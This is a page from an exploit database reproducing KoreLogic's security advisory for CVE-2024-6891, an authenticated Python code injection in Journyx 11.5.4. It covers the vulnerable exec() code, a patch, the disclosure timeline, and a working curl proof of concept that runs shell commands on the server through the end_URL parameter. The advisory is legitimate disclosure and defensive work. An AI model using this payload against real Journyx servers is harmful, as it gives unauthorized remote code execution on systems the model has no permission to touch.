0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Journyx 11.5.4 Authenticated Remote Code Execution Vulnerability
Author
Risk
[
Security Risk High
]0day-ID
Category
Date add
CVE
Platform
Title: Journyx Authenticated Remote Code Execution Advisory ID: KL-001-2024-008 Publication Date: 2024.08.07 Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2024-008.txt 1. Vulnerability Details Affected Vendor: Journyx Affected Product: Journyx (jtime) Affected Version: 11.5.4 Platform: GNU/Linux CWE Classification: CWE-94: Improper Control of Generation of Code ('Code Injection'), CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') CVE ID: CVE-2024-6891 2. Vulnerability Description Attackers with a valid username and password can exploit a python code injection vulnerability during the natural login flow. 3. Technical Description When utilizing a username and password to authenticate to Journyx via the web interface, an HTTP request is sent to "wtlogin.pyc" containing the credentials. Upon a successful login, the user is redirected to "wte.pyc" or the URL specified in the "end_URL" body parameter if one is supplied. An additional condition is present, however. If the "end_URL" value is over 1,000 characters, the value is instead interpolated into a python "import" statement which is passed into the "exec()" function, thereby executing arbitrary code. Code snippet from "wtlogin.pyc": finalURL = end_URL + '.pyc?' + genlib.URLEncodeParams(params) if len(finalURL) < 1000: raise genlib.HTTP302Found(finalURL) else: exec('import %s; %s.main()' % (end_URL, end_URL)) The "params" variable is derived from the query parameters included in the login request, so the size of "finalURL" is trivial to inflate. 4. Mitigation and Remediation Recommendation The vendor reports that this issue was remediated in Journyx v12.0.0, which is the first wholly cloud-hosted version of this product. For self-hosted instances of JournyX, additional security measures (such as input sanitization) can be added by monkey patching the PYC file responsible for handling request parameters (mycgi.pyc). 1) Rename "mycgi.pyc" to an alternative name, e.g. mycgi_original.pyc. $ mv wt_tar/pi/pylib/wtlib/mycgi.py wt_tar/pi/pylib/wtlib/mycgi_original.py 2) Create a file named "mycgi.py" in the same directory. $ touch wt_tar/pi/pylib/wtlib/mycgi.py 3) Insert the following code into the newly created "mycgi.py" from mycgi_original import * from html import escape def patch(): pdata = _parse() # force the value of "end_URL" to always be "wte" if pdata.get('end_URL'): pdata['end_URL'] = ['wte'] # sanitize user-controlled error messages for parameter in ['error', 'error_description']: if not pdata.get(parameter): continue pdata[parameter] = [escape(value) for value in pdata[parameter]] return pdata _parse = parse parse = patch Once these changes have been made, the JournyX native "mycgi.parse()" function will be overwritten with the "patch()" function located in the "mycgi.py" file. Relevant to this advisory, the patch provided above will force the "end_URL" parameter to always have a value of "wte". 5. Credit This vulnerability was discovered by Jaggar Henry of KoreLogic, Inc. 6. Disclosure Timeline 2024.01.31 - KoreLogic notifies Journyx support of the intention to report vulnerabilities discovered in the licensed, on-premises version of the product. 2024.01.31 - Journyx acknowledges receipt. 2024.02.02 - KoreLogic requests a meeting with Journyx support to share vulnerability details. 2024.02.07 - KoreLogic reports vulnerability details to Journyx. 2024.02.09 - Journyx responds that this vulnerability has been remediated in the cloud-hosted version of the product. 2024.02.21 - KoreLogic offers to test the cloud version to confirm the fix; no response. 2024.07.01 - KoreLogic notifies Journyx of impending public disclosure. 2024.07.09 - Journyx confirms version number of the remediation. 2024.08.07 - KoreLogic public disclosure. 7. Proof of Concept By leveraging the existing "web" python module, it is possible to see the output of shell commands as returned by "os.popen()". [attacker@box]$ HOST='redacted.com'; PORT='8080'; USERNAME='employee'; PASSWORD='password123'; COMMAND='id'; \ curl -x http://localhost:8080 -X POST \ -d "wtusername=$USERNAME&wtpassword=$PASSWORD&end_URL=os,web%0aweb.response.text%3dos.popen('$COMMAND').read()#×tamp=9999999999&pageid=$RANDOM" \ -H 'Cookie: wtsession=foobar' \ "http://$HOST:$PORT/jtcgi/wtlogin.pyc?z=$(printf 'Z%.0s' {1..1000})" uid=1000(foo) gid=1000(foo) groups=1000(foo),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),135(lxd),136(sambashare) [attacker@box]$ The contents of this advisory are copyright(c) 2024 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/ # 0day.today [2024-09-19] #